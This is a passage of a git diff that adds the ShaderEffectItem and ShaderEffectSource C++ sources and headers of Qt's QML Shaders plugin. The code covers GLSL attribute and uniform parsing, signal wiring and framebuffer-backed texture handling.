+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+void ShaderEffectItem::changeSource(int index)
+{
+ Q_ASSERT(index >= 0 && index < m_sources.size());
+ QVariant v = property(m_sources.at(index).name.constData());
+ setSource(v, index);
+}
+
+void ShaderEffectItem::markDirty() {
+ update();
+}
+
+void ShaderEffectItem::setSource(const QVariant &var, int index)
+{
+ Q_ASSERT(index >= 0 && index < m_sources.size());
+
+ SourceData &source = m_sources[index];
+
+ source.source = 0;
+ source.item = 0;
+ if (var.isNull()) {
+ return;
+ } else if (!qVariantCanConvert<QObject *>(var)) {
+ qWarning("Could not assign source of type '%s' to property '%s'.", var.typeName(), source.name.constData());
+ return;
+ }
+
+ QObject *obj = qVariantValue<QObject *>(var);
+
+ source.source = qobject_cast<ShaderEffectSource *>(obj);
+ source.item = qobject_cast<QDeclarativeItem *>(obj);
+
+ if (!source.item)
+ qWarning("Could not assign property '%s', did not implement QDeclarativeItem.", source.name.constData());
+
+ if (!source.source)
+ qWarning("Could not assign property '%s', did not implement ShaderEffectSource.", source.name.constData());
+
+ // TODO: Find better solution.
+ // 'source.item' needs a canvas to get a scenegraph node.
+ // The easiest way to make sure it gets a canvas is to
+ // make it a part of the same item tree as 'this'.
+ if (source.item && source.item->parentItem() == 0) {
+ source.item->setParentItem(this);
+ // Unlike in scenegraph, we cannot set item invisible here because qgraphicsview would optimize it away.
+ }
+
+ // Unlike in scenegraph, ref counting is used to optimize memory consumption. Sources themself may free fbos when not referenced.
+ if (m_active && source.source) {
+ source.source->refFromEffectItem();
+ connect(source.source, SIGNAL(repaintRequired()), this, SLOT(markDirty()));
+ }
+}
+
+void ShaderEffectItem::disconnectPropertySignals()
+{
+ disconnect(this, 0, this, SLOT(markDirty()));
+ for (int i = 0; i < m_sources.size(); ++i) {
+ SourceData &source = m_sources[i];
+ disconnect(this, 0, source.mapper, 0);
+ disconnect(source.mapper, 0, this, 0);
+ }
+}
+
+void ShaderEffectItem::connectPropertySignals()
+{
+ QSet<QByteArray>::const_iterator it;
+ for (it = m_uniformNames.begin(); it != m_uniformNames.end(); ++it) {
+ int pi = metaObject()->indexOfProperty(it->constData());
+ if (pi >= 0) {
+ QMetaProperty mp = metaObject()->property(pi);
+ if (!mp.hasNotifySignal())
+ qWarning("ShaderEffectItem: property '%s' does not have notification method!", it->constData());
+ QByteArray signalName("2");
+ signalName.append(mp.notifySignal().signature());
+ connect(this, signalName, this, SLOT(markDirty()));
+ } else {
+ qWarning("ShaderEffectItem: '%s' does not have a matching property!", it->constData());
+ }
+ }
+ for (int i = 0; i < m_sources.size(); ++i) {
+ SourceData &source = m_sources[i];
+ int pi = metaObject()->indexOfProperty(source.name.constData());
+ if (pi >= 0) {
+ QMetaProperty mp = metaObject()->property(pi);
+ QByteArray signalName("2");
+ signalName.append(mp.notifySignal().signature());
+ connect(this, signalName, source.mapper, SLOT(map()));
+ source.mapper->setMapping(this, i);
+ connect(source.mapper, SIGNAL(mapped(int)), this, SLOT(changeSource(int)));
+ } else {
+ qWarning("ShaderEffectItem: '%s' does not have a matching source!", source.name.constData());
+ }
+ }
+}
+
+void ShaderEffectItem::reset()
+{
+ disconnectPropertySignals();
+
+ if (m_program)
+ m_program->removeAllShaders();
+
+ m_attributeNames.clear();
+ m_uniformNames.clear();
+ for (int i = 0; i < m_sources.size(); ++i) {
+ const SourceData &source = m_sources.at(i);
+ if (m_active && source.source)
+ source.source->derefFromEffectItem();
+ delete source.mapper;
+ }
+
+ m_sources.clear();
+ m_program_dirty = true;
+}
+
+void ShaderEffectItem::updateProperties()
+{
+ QString vertexCode = m_vertex_code;
+ QString fragmentCode = m_fragment_code;
+
+ if (vertexCode.isEmpty())
+ vertexCode = qt_default_vertex_code;
+
+ if (fragmentCode.isEmpty())
+ fragmentCode = qt_default_fragment_code;
+
+ lookThroughShaderCode(vertexCode);
+ lookThroughShaderCode(fragmentCode);
+
+ if (!m_attributeNames.contains(qt_postion_attribute_name))
+ qWarning("ShaderEffectItem: Missing reference to \'%s\'.", qt_postion_attribute_name);
+ if (!m_attributeNames.contains(qt_texcoord_attribute_name))
+ qWarning("ShaderEffectItem: Missing reference to \'%s\'.", qt_texcoord_attribute_name);
+ if (!m_respectsMatrix)
+ qWarning("ShaderEffectItem: Missing reference to \'qt_ModelViewProjectionMatrix\'.");
+
+ for (int i = 0; i < m_sources.size(); ++i) {
+ QVariant v = property(m_sources.at(i).name);
+ setSource(v, i); // Property exists.
+ }
+
+ connectPropertySignals();
+}
+
+void ShaderEffectItem::updateShaderProgram()
+{
+ if (!m_program)
+ return;
+
+ QString vertexCode = m_vertex_code;
+ QString fragmentCode = m_fragment_code;
+
+ if (vertexCode.isEmpty())
+ vertexCode = QString::fromLatin1(qt_default_vertex_code);
+
+ if (fragmentCode.isEmpty())
+ fragmentCode = QString::fromLatin1(qt_default_fragment_code);
+
+ m_program->addShaderFromSourceCode(QGLShader::Vertex, vertexCode);
+ m_program->addShaderFromSourceCode(QGLShader::Fragment, fragmentCode);
+
+ for (int i = 0; i < m_attributeNames.size(); ++i) {
+ m_program->bindAttributeLocation(m_attributeNames.at(i), m_geometry.attributes()[i].position);
+ }
+
+ if (!m_program->link()) {
+ qWarning("ShaderEffectItem: Shader compilation failed:");
+ qWarning() << m_program->log();
+ }
+
+ if (!m_attributeNames.contains(qt_postion_attribute_name))
+ qWarning("ShaderEffectItem: Missing reference to \'qt_Vertex\'.");
+ if (!m_attributeNames.contains(qt_texcoord_attribute_name))
+ qWarning("ShaderEffectItem: Missing reference to \'qt_MultiTexCoord0\'.");
+ if (!m_respectsMatrix)
+ qWarning("ShaderEffectItem: Missing reference to \'qt_ModelViewProjectionMatrix\'.");
+
+ if (m_program->isLinked()) {
+ m_program->bind();
+ for (int i = 0; i < m_sources.size(); ++i)
+ m_program->setUniformValue(m_sources.at(i).name.constData(), (GLint) i);
+ }
+
+ m_program_dirty = false;
+}
+
+void ShaderEffectItem::lookThroughShaderCode(const QString &code)
+{
+ // Regexp for matching attributes and uniforms.
+ // In human readable form: attribute|uniform [lowp|mediump|highp] <type> <name>
+ static QRegExp re(QLatin1String("\\b(attribute|uniform)\\b\\s*\\b(?:lowp|mediump|highp)?\\b\\s*\\b(\\w+)\\b\\s*\\b(\\w+)"));
+ Q_ASSERT(re.isValid());
+
+ int pos = -1;
+
+ //QString wideCode = QString::fromLatin1(code.constData(), code.size());
+ QString wideCode = code;
+
+ while ((pos = re.indexIn(wideCode, pos + 1)) != -1) {
+ QByteArray decl = re.cap(1).toLatin1(); // uniform or attribute
+ QByteArray type = re.cap(2).toLatin1(); // type
+ QByteArray name = re.cap(3).toLatin1(); // variable name
+
+ if (decl == "attribute") {
+ if (name == qt_postion_attribute_name) {
+ m_attributeNames.insert(0, qt_postion_attribute_name);
+ } else if (name == "qt_MultiTexCoord0") {
+ if (m_attributeNames.at(0) == 0) {
+ m_attributeNames.insert(0, qt_emptyAttributeName);
+ }
+ m_attributeNames.insert(1, qt_texcoord_attribute_name);
+ } else {
+ // TODO: Support user defined attributes.
+ qWarning("ShaderEffectItem: Attribute \'%s\' not recognized.", name.constData());
+ }
+ } else {
+ Q_ASSERT(decl == "uniform");
+
+ if (name == "qt_ModelViewProjectionMatrix") {
+ m_respectsMatrix = true;
+ } else if (name == "qt_Opacity") {
+ m_respectsOpacity = true;
+ } else {
+ m_uniformNames.insert(name);
+ if (type == "sampler2D") {
+ SourceData d;
+ d.mapper = new QSignalMapper;
+ d.source = 0;
+ d.name = name;
+ d.item = 0;
+ m_sources.append(d);
+ }
+ }
+ }
+ }
+}
+
+void ShaderEffectItem::handleVisibilityChange()
+{
+ setActive(isVisible());
+}
diff --git a/src/imports/shaders/shadereffectitem.h b/src/imports/shaders/shadereffectitem.h
new file mode 100644
index 00000000..a5581b44
--- /dev/null
+++ b/src/imports/shaders/shadereffectitem.h
@@ -0,0 +1,154 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SHADEREFFECTITEM_H
+#define SHADEREFFECTITEM_H
+
+#include <QDeclarativeItem>
+#include <QtOpenGL>
+#include "shadereffectsource.h"
+#include "scenegraph/qsggeometry.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class ShaderEffectItem : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_PROPERTY(QString fragmentShader READ fragmentShader WRITE setFragmentShader NOTIFY fragmentShaderChanged)
+ Q_PROPERTY(QString vertexShader READ vertexShader WRITE setVertexShader NOTIFY vertexShaderChanged)
+ Q_PROPERTY(bool blending READ blending WRITE setBlending NOTIFY blendingChanged)
+ Q_PROPERTY(QSize meshResolution READ meshResolution WRITE setMeshResolution NOTIFY meshResolutionChanged)
+
+public:
+ ShaderEffectItem(QDeclarativeItem* parent = 0);
+ ~ShaderEffectItem();
+
+ virtual void componentComplete();
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+ QString fragmentShader() const { return m_fragment_code; }
+ void setFragmentShader(const QString &code);
+
+ QString vertexShader() const { return m_vertex_code; }
+ void setVertexShader(const QString &code);
+
+ bool blending() const { return m_blending; }
+ void setBlending(bool enable);
+
+ QSize meshResolution() const { return m_meshResolution; }
+ void setMeshResolution(const QSize &size);
+
+ void preprocess();
+
+Q_SIGNALS:
+ void fragmentShaderChanged();
+ void vertexShaderChanged();
+ void blendingChanged();
+ void activeChanged();
+ void meshResolutionChanged();
+
+protected:
+ virtual void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry);
+
+private Q_SLOTS:
+ void changeSource(int index);
+ void handleVisibilityChange();
+ void markDirty();
+
+private:
+ void checkViewportUpdateMode();
+ void renderEffect(QPainter *painter, const QMatrix4x4 &matrix);
+ void updateEffectState(const QMatrix4x4 &matrix);
+ void updateGeometry();
+ void bindGeometry();
+ void setSource(const QVariant &var, int index);
+ void disconnectPropertySignals();
+ void connectPropertySignals();
+ void reset();
+ void updateProperties();
+ void updateShaderProgram();
+ void lookThroughShaderCode(const QString &code);
+ bool active() const { return m_active; }
+ void setActive(bool enable);
+
+private:
+ QString m_fragment_code;
+ QString m_vertex_code;
+ QGLShaderProgram* m_program;
+ QVector<const char *> m_attributeNames;
+ QSet<QByteArray> m_uniformNames;
+ QSize m_meshResolution;
+ QSGGeometry m_geometry;
+
+ struct SourceData
+ {
+ QSignalMapper *mapper;
+ QPointer<ShaderEffectSource> source;
+ QPointer<QDeclarativeItem> item;
+ QByteArray name;
+ };
+
+ QVector<SourceData> m_sources;
+
+ bool m_changed : 1;
+ bool m_blending : 1;
+ bool m_program_dirty : 1;
+ bool m_active : 1;
+ bool m_respectsMatrix : 1;
+ bool m_respectsOpacity : 1;
+ bool m_checkedViewportUpdateMode : 1;
+ bool m_checkedOpenGL : 1;
+ bool m_checkedShaderPrograms : 1;
+ bool m_hasShaderPrograms : 1;
+ bool m_mirrored : 1;
+ bool m_defaultVertexShader : 1;
+
+ QGLFramebufferObject* m_contextObserver;
+};
+
+QT_END_HEADER
+
+QT_END_NAMESPACE
+
+#endif // SHADEREFFECTITEM_H
diff --git a/src/imports/shaders/shadereffectsource.cpp b/src/imports/shaders/shadereffectsource.cpp
new file mode 100644
index 00000000..aa434e1c
--- /dev/null
+++ b/src/imports/shaders/shadereffectsource.cpp
@@ -0,0 +1,451 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "shadereffectsource.h"
+#include "shadereffectbuffer.h"
+#include "shadereffect.h"
+#include "glfunctions.h"
+
+#include <QtOpenGL>
+
+/*!
+ \qmlclass ShaderEffectSource ShaderEffectSource
+ \ingroup qml-shader-elements
+ \brief The ShaderEffectSource object encapsulates the source content for the ShaderEffectItem.
+
+ ShaderEffectSource is available in the \bold{Qt.labs.shaders 1.0} module.
+ \e {Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.}
+
+ This element provides preliminary support for OpenGL shaders in QML,
+ and may be heavily changed or removed in later versions.
+
+ Requirement for the ability to use of shaders is that the application is either using
+ opengl graphicssystem or has set QGLWidget as the viewport to QDeclarativeView (recommended way).
+
+ ShaderEffectSource object encapsulates the source content so that it can be utilized in ShaderEffectItem.
+ Source content can be a live QML object tree, or a snapshot of QML object tree.
+
+*/
+
+ShaderEffectSource::ShaderEffectSource(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+ , m_sourceItem(0)
+ , m_wrapMode(ClampToEdge)
+ , m_sourceRect(0, 0, 0, 0)
+ , m_textureSize(0, 0)
+ , m_format(RGBA)
+ , m_size(0, 0)
+ , m_fbo(0)
+ , m_multisampledFbo(0)
+ , m_refs(0)
+ , m_dirtyTexture(true)
+ , m_dirtySceneGraph(true)
+ , m_multisamplingSupported(false)
+ , m_checkedForMultisamplingSupport(false)
+ , m_live(true)
+ , m_hideSource(false)
+ , m_mirrored(false)
+{
+}
+
+ShaderEffectSource::~ShaderEffectSource()
+{
+ if (m_refs && m_sourceItem)
+ detachSourceItem();
+
+ delete m_fbo;
+ delete m_multisampledFbo;
+}
+
+/*!
+ \qmlproperty Item ShaderEffectSource::sourceItem
+ This property holds the Item which is used as the source for the shader effect.
+ If the item has children, those are included as well.
+
+ \note When source item content is passed to the ShaderEffectItem(s), it is always clipped to the boundingrect of the
+ sourceItem regardless of its clipping property.
+*/
+
+void ShaderEffectSource::setSourceItem(QDeclarativeItem *item)
+{
+ if (item == m_sourceItem)
+ return;
+
+ if (m_sourceItem) {
+ disconnect(m_sourceItem, SIGNAL(widthChanged()), this, SLOT(markSourceSizeDirty()));
+ disconnect(m_sourceItem, SIGNAL(heightChanged()), this, SLOT(markSourceSizeDirty()));
+
+ if (m_refs)
+ detachSourceItem();
+ }
+
+ m_sourceItem = item;
+
+ if (m_sourceItem) {
+
+ // Must have some item as parent
+ if (m_sourceItem->parentItem() == 0)
+ m_sourceItem->setParentItem(this);
+
+ if (m_refs)
+ attachSourceItem();
+
+ connect(m_sourceItem, SIGNAL(widthChanged()), this, SLOT(markSourceSizeDirty()));
+ connect(m_sourceItem, SIGNAL(heightChanged()), this, SLOT(markSourceSizeDirty()));
+ }
+
+ updateSizeAndTexture();
+ emit sourceItemChanged();
+ emit repaintRequired();
+}
+
+/*!
+ \qmlproperty QRectF ShaderEffectSource::sourceRect
+ This property can be used to specify margins for the source content.
+
+ If other value than Qt.rect(0,0,0,0) is assigned to this property, it is interpreted as
+ specifying a relative source rectangle for the source content.
+
+ For example, setting Qt.rect(-10.0, -10.0, 120.0, 120.0) for a source that has width and height
+ of 100 pixels would produce 10 pixels margins to each side of the source.
+
+ Margins are useful when the original content is wanted to be spread outside the original source area,
+ like when creating a dropshadow with the shader or in other similar effects.
+
+ The default value is Qt.rect(0,0,0,0).
+*/
+
+void ShaderEffectSource::setSourceRect(const QRectF &rect)
+{
+ if (rect == m_sourceRect)
+ return;
+ m_sourceRect = rect;
+ updateSizeAndTexture();
+ emit sourceRectChanged();
+ emit repaintRequired();
+
+ m_dirtyTexture = true;
+ markSourceItemDirty();
+}
+
+/*!
+ \qmlproperty QSize ShaderEffectSource::textureSize
+ This property holds the size for the texture containing the source content.
+
+ If value QSize(0,0) is assigned to this property, texture is resized
+ according to the source size. Otherwise source content is scaled to
+ the given size.
+
+ The default value is QSize(0,0).
+*/
+
+void ShaderEffectSource::setTextureSize(const QSize &size)
+{
+ if (size == m_textureSize)
+ return;
+
+ m_textureSize = size;
+ updateSizeAndTexture();
+ emit textureSizeChanged();
+ emit repaintRequired();
+
+ m_dirtyTexture = true;
+ markSourceItemDirty();
+}
+
+/*!
+ \qmlproperty bool ShaderEffectSource::live
+ This property holds the optimization flag to define whether the source item content is changing or
+ static.
+
+ If value true is assigned to this property, source item content is re-rendered into a
+ texture for every frame. Setting the value to false improves the performance as it skips
+ rendering the source item (and its chidleren) and instead immediately passes the previously
+ rendered and cached texture to the shaders.
+
+ The default value is true.
+*/
+
+void ShaderEffectSource::setLive(bool s)
+{
+ if (s == m_live)
+ return;
+
+ m_live = s;
+
+ emit liveChanged();
+ emit repaintRequired();
+}
+
+/*!
+ \qmlproperty bool ShaderEffectSource::hideSource
+ This property holds the flag to define whether the original source item is
+ hidden when the effect item is drawn.
+
+ The default value is false.
+*/
+
+void ShaderEffectSource::setHideSource(bool hide)
+{
+ if (hide == m_hideSource)
+ return;
+
+ m_hideSource = hide;
+
+ emit hideSourceChanged();
+ emit repaintRequired();
+}
+
+/*!
+ \qmlproperty enumeration ShaderEffectSource::wrapMode
+
+ This property defines the wrap parameter for the source after it has been mapped as a texture.
+
+ \list
+ \o ShaderEffectSource.ClampToEdge - Causes texturecoordinates to be clamped to the range [ 1/2*N , 1 - 1/2*N ], where N is the texture width.
+ \o ShaderEffectSource.RepeatHorizontally - Causes the integer part of the horizontal texturecoordinate to be ignored; the GL uses only the fractional part, thereby creating a horizontal repeating pattern.
+ \o ShaderEffectSource.RepeatVertically - Causes the integer part of the vertical texturecoordinate to be ignored; the GL uses only the fractional part, thereby creating a vertical repeating pattern.
+ \o ShaderEffectSource.Repeat - Causes the integer part of both the horizontal and vertical texturecoordinates to be ignored; the GL uses only the fractional part, thereby creating a repeating pattern.
+ \endlist
+
+ The default value is ClampToEdge.
+
+*/
+
+void ShaderEffectSource::setWrapMode(WrapMode mode)
+{
+ if (mode == m_wrapMode)
+ return;
+
+ m_wrapMode = mode;
+ emit wrapModeChanged();
+
+ m_dirtyTexture = true;
+ markSourceItemDirty();
+}
+
+/*!
+ \qmlmethod ShaderEffectSource::grab()
+
+ Repaints the source item content into the texture.
+
+ This method is useful when ShaderEffectSource::live has been set to false and
+ the changes in the source item content is desired to be made visible for the shaders.
+
+*/
+
+void ShaderEffectSource::grab()
+{
+ m_dirtyTexture = true;
+ emit repaintRequired();
+}
+
+void ShaderEffectSource::bind()
+{
+ GLint filtering = smooth() ? GL_LINEAR : GL_NEAREST;
+ GLuint hwrap = (m_wrapMode == Repeat || m_wrapMode == RepeatHorizontally) ? GL_REPEAT : GL_CLAMP_TO_EDGE;
+ GLuint vwrap = (m_wrapMode == Repeat || m_wrapMode == RepeatVertically) ? GL_REPEAT : GL_CLAMP_TO_EDGE;
+
+#if !defined(QT_OPENGL_ES_2)
+ glEnable(GL_TEXTURE_2D);
+#endif
+
+ if (m_fbo && m_fbo->isValid()) {
+ glBindTexture(GL_TEXTURE_2D, m_fbo->texture());
+ } else {
+ m_dirtyTexture = true;
+ emit repaintRequired();
+ markSourceItemDirty();
+ glBindTexture(GL_TEXTURE_2D, 0);
+ }
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, filtering);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, smooth() ? GL_LINEAR : GL_NEAREST);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, hwrap);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, vwrap);
+}
+
+void ShaderEffectSource::refFromEffectItem()
+{
+ if (m_refs++ == 0) {
+ attachSourceItem();
+ emit activeChanged();
+ }
+}
+
+void ShaderEffectSource::derefFromEffectItem()
+{
+ if (--m_refs == 0) {
+ detachSourceItem();
+ emit activeChanged();
+ }
+ Q_ASSERT(m_refs >= 0);
+}
+
+void ShaderEffectSource::updateBackbuffer()
+{
+ if (!m_sourceItem || !QGLContext::currentContext())
+ return;
+
+ // Multisampling is not (for now) supported.
+ QSize size = QSize(m_sourceItem->width(), m_sourceItem->height());
+ if (!m_textureSize.isEmpty())
+ size = m_textureSize;
+
+ if (size.height() > 0 && size.width() > 0) {
+ QGLFramebufferObjectFormat format;
+ format.setAttachment(QGLFramebufferObject::CombinedDepthStencil);
+ format.setInternalTextureFormat(m_format);
+
+ if (!m_fbo) {
+ m_fbo = new ShaderEffectBuffer(size, format);
+ } else {
+ if (!m_fbo->isValid() || m_fbo->size() != size || m_fbo->format().internalTextureFormat() != GLenum(m_format)) {
+ delete m_fbo;
+ m_fbo = 0;
+ m_fbo = new ShaderEffectBuffer(size, format);
+ }
+ }
+ }
+
+ // Note that real update for the source content happens in shadereffect.cpp
+ m_dirtyTexture = false;
+}
+
+void ShaderEffectSource::markSceneGraphDirty()
+{
+ m_dirtySceneGraph = true;
+ emit repaintRequired();
+}
+
+void ShaderEffectSource::markSourceSizeDirty()
+{
+ Q_ASSERT(m_sourceItem);
+ if (m_textureSize.isEmpty())
+ updateSizeAndTexture();
+ if (m_refs)
+ emit repaintRequired();
+}
+
+void ShaderEffectSource::markSourceItemDirty()
+{
+ m_dirtyTexture = true;
+ if (m_sourceItem) {
+ ShaderEffect* effect = qobject_cast<ShaderEffect*> (m_sourceItem->graphicsEffect());
+ if (effect)
+ effect->m_changed = true;
+ }
+}
+
+void ShaderEffectSource::updateSizeAndTexture()
+{
+ if (m_sourceItem) {
+ QSize size = m_textureSize;
+ if (size.isEmpty())
+ size = QSize(m_sourceItem->width(), m_sourceItem->height());
+ if (size.width() < 1)
+ size.setWidth(1);
+ if (size.height() < 1)
+ size.setHeight(1);
+ if (m_fbo && (m_fbo->size() != size || !m_fbo->isValid())) {
+ delete m_fbo;
+ m_fbo = 0;
+ delete m_multisampledFbo;
+ m_fbo = m_multisampledFbo = 0;
+ }
+ if (m_size.width() != size.width()) {
+ m_size.setWidth(size.width());
+ emit widthChanged();
+ }
+ if (m_size.height() != size.height()) {
+ m_size.setHeight(size.height());
+ emit heightChanged();
+ }
+ m_dirtyTexture = true;
+ } else {
+ if (m_size.width() != 0) {
+ m_size.setWidth(0);
+ emit widthChanged();
+ }
+ if (m_size.height() != 0) {
+ m_size.setHeight(0);
+ emit heightChanged();
+ }
+ }
+}
+
+void ShaderEffectSource::attachSourceItem()
+{
+ if (!m_sourceItem)
+ return;
+
+ ShaderEffect *effect = qobject_cast<ShaderEffect*> (m_sourceItem->graphicsEffect());
+
+ if (!effect) {
+ effect = new ShaderEffect();
+ m_sourceItem->setGraphicsEffect(effect);
+ }
+
+ if (effect)
+ effect->addRenderTarget(this);
+
+ m_sourceItem->update();
+}
+
+void ShaderEffectSource::detachSourceItem()
+{
+ if (!m_sourceItem)
+ return;
+
+ ShaderEffect* effect = qobject_cast<ShaderEffect*> (m_sourceItem->graphicsEffect());
+
+ if (effect)
+ effect->removeRenderTarget(this);
+
+ delete m_fbo;
+ m_fbo = 0;
+
+ delete m_multisampledFbo;
+ m_multisampledFbo = 0;
+
+ m_dirtyTexture = true;
+}
diff --git a/src/imports/shaders/shadereffectsource.h b/src/imports/shaders/shadereffectsource.h
new file mode 100644
index 00000000..d7b44bcc
--- /dev/null
+++ b/src/imports/shaders/shadereffectsource.h
@@ -0,0 +1,159 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SHADEREFFECTSOURCE_H
+#define SHADEREFFECTSOURCE_H
+
+#include <QDeclarativeItem>
+#include <QtOpenGL>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class ShaderEffectBuffer;
+
+class ShaderEffectSource : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeItem *sourceItem READ sourceItem WRITE setSourceItem NOTIFY sourceItemChanged)
+ Q_PROPERTY(QRectF sourceRect READ sourceRect WRITE setSourceRect NOTIFY sourceRectChanged)
+ Q_PROPERTY(QSize textureSize READ textureSize WRITE setTextureSize NOTIFY textureSizeChanged)
+ Q_PROPERTY(bool live READ isLive WRITE setLive NOTIFY liveChanged)
+ Q_PROPERTY(bool hideSource READ hideSource WRITE setHideSource NOTIFY hideSourceChanged)
+ Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+ Q_ENUMS(WrapMode)
+ Q_ENUMS(Format)
+
+public:
+ enum WrapMode {
+ ClampToEdge,
+ RepeatHorizontally,
+ RepeatVertically,
+ Repeat
+ };
+
+ enum Format {
+ Alpha = GL_ALPHA,
+ RGB = GL_RGB,
+ RGBA = GL_RGBA
+ };
+
+ ShaderEffectSource(QDeclarativeItem *parent = 0);
+ virtual ~ShaderEffectSource();
+
+ QDeclarativeItem *sourceItem() const { return m_sourceItem.data(); }
+ void setSourceItem(QDeclarativeItem *item);
+
+ QRectF sourceRect() const { return m_sourceRect; };
+ void setSourceRect(const QRectF &rect);
+
+ QSize textureSize() const { return m_textureSize; }
+ void setTextureSize(const QSize &size);
+
+ bool isLive() const { return m_live; }
+ void setLive(bool s);
+
+ bool hideSource() const { return m_hideSource; }
+ void setHideSource(bool hide);
+
+ WrapMode wrapMode() const { return m_wrapMode; };
+ void setWrapMode(WrapMode mode);
+
+ bool isActive() const { return m_refs; }
+ void bind();
+ void refFromEffectItem();
+ void derefFromEffectItem();
+ void updateBackbuffer();
+
+ ShaderEffectBuffer* fbo() { return m_fbo; }
+ bool isDirtyTexture() { return m_dirtyTexture; }
+ bool isMirrored() { return m_mirrored; }
+
+ Q_INVOKABLE void grab();
+
+Q_SIGNALS:
+ void sourceItemChanged();
+ void sourceRectChanged();
+ void textureSizeChanged();
+ void formatChanged();
+ void liveChanged();
+ void hideSourceChanged();
+ void activeChanged();
+ void repaintRequired();
+ void wrapModeChanged();
+
+public Q_SLOTS:
+ void markSceneGraphDirty();
+ void markSourceSizeDirty();
+ void markSourceItemDirty();
+
+private:
+ void updateSizeAndTexture();
+ void attachSourceItem();
+ void detachSourceItem();
+
+private:
+ QPointer<QDeclarativeItem> m_sourceItem;
+ WrapMode m_wrapMode;
+ QRectF m_sourceRect;
+ QSize m_textureSize;
+ Format m_format;
+ QSize m_size;
+
+ ShaderEffectBuffer *m_fbo;
+ ShaderEffectBuffer *m_multisampledFbo;
+ int m_refs;
+ bool m_dirtyTexture : 1;
+ bool m_dirtySceneGraph : 1;
+ bool m_multisamplingSupported : 1;
+ bool m_checkedForMultisamplingSupport : 1;
+ bool m_live : 1;
+ bool m_hideSource : 1;
+ bool m_mirrored : 1;
+};
+
+QT_END_HEADER
+
